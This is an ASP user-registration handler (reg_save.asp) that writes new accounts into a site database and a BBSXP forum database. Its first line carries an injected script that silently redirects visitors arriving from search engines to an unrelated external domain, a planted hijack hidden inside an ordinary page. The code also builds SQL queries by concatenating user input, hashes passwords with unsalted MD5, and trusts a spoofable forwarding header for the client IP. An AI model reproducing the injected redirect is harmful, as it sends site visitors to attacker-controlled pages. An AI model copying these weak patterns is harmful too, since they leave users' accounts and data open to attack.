d:\wwwroot\wuchunhua\reg_save.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn_save.asp"-->
002: <!--#include file="md5.asp"-->
003: <%
004: '++++++++++++接受数据开始+++++++++++
005: uid=trim(request.form("uid"))
006: pwd=md5(trim(request.form("pwd")))
007: username=trim(request.form("UserName"))
008: cardid=trim(request.form("cardid"))
009: tel=trim(request.form("tel"))
010: if uid="" or pwd="" or username="" or tel="" then
011: response.write"<script>alert('请认真填写!');history.go(-1)</script>"
012: response.end
013: end if
014: email=trim(request.form("email"))
015: qq=trim(request.form("qq"))
016: add=trim(request.form("add"))
017: ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
018: If ip = "" Then
019: ip = Request.ServerVariables("REMOTE_ADDR")
020: end if
021: '++++++++++++接受数据结束+++++++++++
022: if uid<>"" then
023: sql="select * from china_user where uid='"&HtmlEncode(uid)&"'"
024: set rs=server.createobject("adodb.recordset")
025: set rs1=server.createobject("adodb.recordset")
026: rs.open sql,conn,1,3
027: Db = "bbs/DataBase/tcbbs7.asp"   '数据库路径
028: Connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath(db)
029: Set Conn1=Server.CreateObject("ADODB.Connection")
030: Conn1.open ConnStr
031:
032: Rs1.Open "select top 1 * from [BBSXP_Users] where username='"&HtmlEncode(uid)&"'",Conn1,1,3
033: if not rs.eof or not rs1.eof then
034: rs.close:set rs=nothing:set rs1=nothing
035: conn.close:set conn=nothing
036: response.write "<script>alert('此用户名已经存在,请重新选择!');history.back();</script>"
037: response.end
038: end if
039:
040: Rs1.addNew
041: Rs1("UserName")=HtmlEncode(uid)
042: Rs1("Userpass")=pwd
043: Rs1("UserMail")=HtmlEncode(email)
044: Rs1("Charm")=0 '赋予魅力默认值
045: Rs1("UserRegTime")=""&now()&""
046: Rs1("UserLastIP")=Request.ServerVariables("REMOTE_ADDR")
047: Rs1("UserLandTime")=""&now()&""
048: Rs1.update
049: Rs1.close:set rs1=nothing
050: conn1.close:set conn1=nothing
051: rs.addnew
052: rs("uid")=HtmlEncode(uid)
053: rs("pwd")=pwd
054: rs("username")=HtmlEncode(username)
055: rs("cardid")=HtmlEncode(cardid)
056: rs("tel")=HtmlEncode(tel)
057: if email = "" then email = "未填"
058: rs("email")=HtmlEncode(email)
059: if qq = "" then qq = "未填"
060: rs("qq")=HtmlEncode(qq)
061: if add = "" then add = "未填"
062: rs("add")=HtmlEncode(add)
063: rs("mark")=request.form("mark")
064: rs("ip")=HtmlEncode(ip)
065: if webhy="1" then
066: rs("mark")="0" '审核后通过
067: else
068: rs("mark")="1" '直接通过
069: end if
070: rs("zcdate")=Now()
071: rs.update
072: rs.close:set rs=nothing
073: conn.close:set conn=nothing
074: response.write"<script>alert('恭喜您注册成功,请在首页登陆会员中心!');location='login.asp'</script>"
075: end if%
>
076:
077:
078: